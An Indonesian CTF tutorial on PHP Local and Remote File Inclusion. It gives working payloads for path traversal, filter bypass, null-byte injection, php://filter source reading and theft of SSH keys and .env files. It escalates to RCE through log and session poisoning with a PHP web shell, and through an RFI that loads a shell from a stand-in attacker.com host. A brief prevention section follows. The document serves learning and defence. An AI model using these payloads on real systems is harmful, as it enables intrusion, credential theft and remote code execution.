

Apa itu File Inclusion (LFI/RFI)

File Inclusion adalah celah keamanan pada aplikasi web ketika server mengambil file berdasarkan input user tanpa validasi yang aman.

Biasanya terjadi di bahasa seperti PHP menggunakan fungsi:

`include()`

`require()`

`include_once()`

`require_once()`

Contoh kode rentan:

```
<?php
$page = $_GET['page'];
include($page);
?>
```

Kalau user membuka:

`http://target.com/index.php?page=home.php`

Server akan memuat `home.php`.

Masalah muncul ketika attacker mengubah parameter `page`.

Jenis File Inclusion

1. Local File Inclusion (LFI)

LFI = membaca file lokal di server.

Contoh:

`?page=../../../../etc/passwd`

Server:

```
include("../../../../../../etc/passwd");
```

File sistem Linux terbaca.

2. Remote File Inclusion (RFI)

RFI = server meng-include file dari internet.

Contoh:

?page=http://attacker.com/shell.txt

Jika allow_url_include=On, server akan mengambil file remote dan menjalankannya.

RFI jauh lebih berbahaya karena bisa langsung RCE (Remote Code Execution).

Perbedaan LFI vs RFI

LFI	RFI
Membaca file lokal	Mengambil file dari internet
Biasanya disclosure	Bisa langsung RCE
Lebih umum	Lebih jarang
Tidak perlu server attacker	Perlu hosting file attacker

Struktur Challenge CTF Jeopardy

Biasanya challenge seperti ini:

```
<?php
```

```
include($_GET['page']);
```

```
?>
```

Atau:

```
<?php
```

```
$page = "pages/" . $_GET['page'];
```

```
include($page);
```

```
?>
```

User diminta mencari flag.

Dasar Path Traversal

Sebelum eksploitasi LFI, pahami traversal:

../

Artinya naik satu direktori.

Contoh:

../../../../

Naik berkali-kali sampai root filesystem.

Contoh LFI Dasar di CTF

Source Code

```
<?php
$page = $_GET['page'];
include("pages/" . $page);
?>
```

Folder:

/pages/home.php

/pages/about.php

/flag.txt

Normal Access

?page=home.php

Server:

```
include("pages/home.php")
```

Eksplorasi LFI

Attacker mencoba:

?page=../../flag.txt

Server:

```
include("pages/../../flag.txt")
```

Hasil:

Flag{LFI_SUCCESS}

Contoh Membaca /etc/passwd

Payload:

?page=../../../../etc/passwd

Output:

root:x:0:0:root:/root:/bin/bash

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Di CTF ini sering menjadi indikator LFI berhasil.

Kenapa /etc/passwd Dipakai?

Karena:

- Hampir selalu ada
 - Bisa dibaca
 - Mudah dikenali
 - Tidak merusak server
-

Null Byte Injection (CTF Lama)

Dulu developer menambahkan .php:

```
include($_GET['page'] . ".php");
```

Attacker bypass:

?page=../../../../etc/passwd%00

%00 menghentikan string.

Server membaca:

../../../../etc/passwd

Tapi teknik ini sudah diperbaiki di PHP modern.

Bypass Filter Umum

Filter "../"

Developer:

```
$page = str_replace("../", "", $_GET['page']);
```

Bypass:

```
....//
```

Karena setelah replace:

```
../
```

URL Encoding

```
..%2f
```

atau

```
%2e%2e%2f
```

Wrapper PHP dalam LFI

Ini sangat penting di CTF.

php://filter

Digunakan untuk membaca source code PHP.

Payload:

```
?page=php://filter/convert.base64-encode/resource=index.php
```

Output:

```
PD9waHAgaZWNObyAiSGVsbG8iOz8+
```

Decode Base64:

```
<?php echo "Hello"; ?>
```

Kenapa Ini Penting?

Karena source code sering berisi:

- password

- path
 - flag
 - hidden endpoint
-

Contoh Challenge CTF

```
<?php
```

```
include($_GET['page']);
```

```
$flag = "Flag{SUPER_SECRET}";
```

```
?>
```

Payload:

```
?page=php://filter/convert.base64-encode/resource=index.php
```

Decode Base64 → dapat flag.

Log Poisoning (LFI → RCE)

Teknik advanced.

Ide

1. Masukkan PHP code ke log server
 2. Include log via LFI
 3. PHP code dieksekusi
-

Langkah-Langkah

Step 1 — Poison Log

Kirim User-Agent:

User-Agent: <?php system(\$_GET['cmd']); ?>

Masuk ke:

```
/var/log/apache2/access.log
```

Step 2 — Include Log

Payload:

```
?page=../../../../var/log/apache2/access.log
```

Step 3 — Execute Command

```
?page=../../../../var/log/apache2/access.log&cmd=id
```

Output:

```
uid=33(www-data)
```

Sekarang attacker mendapat RCE.

Teknik LFI Penting di CTF

1. Read Source Code

```
php://filter
```

2. Read Config File

Contoh:

```
config.php
```

```
.env
```

```
database.yml
```

3. Read SSH Key

```
/home/user/.ssh/id_rsa
```

4. Session File Inclusion

PHP session biasanya:

```
/var/lib/php/sessions/
```

Jika attacker bisa mengontrol session:

```
$_SESSION['cmd'] = '<?php system($_GET["cmd"]); ?>';
```

Lalu include session file.

Remote File Inclusion (RFI)

Source Code Rentan

```
<?php
```

```
include($_GET['page']);
```

```
?>
```

PHP config:

```
allow_url_include = On
```

Exploit RFI

Attacker hosting file:

```
<?php system($_GET['cmd']); ?>
```

di:

```
http://attacker.com/shell.txt
```

Payload:

```
?page=http://attacker.com/shell.txt&cmd=id
```

Server menjalankan shell attacker.

Simulasi Challenge CTF Lengkap

Soal

```
<?php
```

```
$page = $_GET['page'];
```

```
if(strpos($page,"../") !== false){
```

```
    die("Blocked!");
```

```
}
```

```
include("pages/" . $page);
```

?>

Tujuan: cari flag.

Analisis

Filter hanya memblok "../".

Bypass:

....//

Karena:

....//....//flag.txt

setelah normalisasi path menjadi:

../../flag.txt

Payload

?page=....//....//flag.txt

Output:

Flag{BYPASS_SUCCESS}

Workflow Umum Saat Menemukan LFI di CTF

1. Test Traversal

../../../etc/passwd

2. Cari Source Code

php://filter/convert.base64-encode/resource=index.php

3. Cari Config

.env

config.php

db.php

4. Cari Flag

flag.txt

/root/flag.txt

/home/ctf/flag.txt

5. Escalate ke RCE

- log poisoning
 - session poisoning
 - upload + include
-

Tools yang Sering Dipakai

Burp Suite

Untuk manipulasi request.

[Burp Suite](#)

ffuf

Fuzzing parameter/file.

[ffuf GitHub](#)

Contoh:

```
ffuf -u http://target/?page=FUZZ -w wordlist.txt
```

wfuzz

Alternatif fuzzing.

[wfuzz GitHub](#)

Pencegahan

Jangan include langsung input user

SALAH:

```
include($_GET['page']);
```

Gunakan Whitelist

BENAR:

```
$allowed = [  
    "home" => "pages/home.php",  
    "about" => "pages/about.php"  
];
```

```
include($allowed[$_GET['page']]);
```

Disable URL Include

```
allow_url_include = Off
```

Validasi Path

Gunakan:

```
realpath()
```

dan pastikan file tetap di direktori aman.

Ringkasan Penting

Teknik	Fungsi
../	Path traversal
php://filter	Baca source code
%00	Null byte lama
Log poisoning	LFI → RCE
Session inclusion	LFI → RCE

Teknik	Fungsi
RFI	Include file remote

Payload Penting yang Harus Diingat

Basic LFI

?page=../../../../etc/passwd

Read PHP Source

?page=php://filter/convert.base64-encode/resource=index.php

Log Poisoning

<?php system(\$_GET['cmd']); ?>

RFI

?page=http://attacker/shell.txt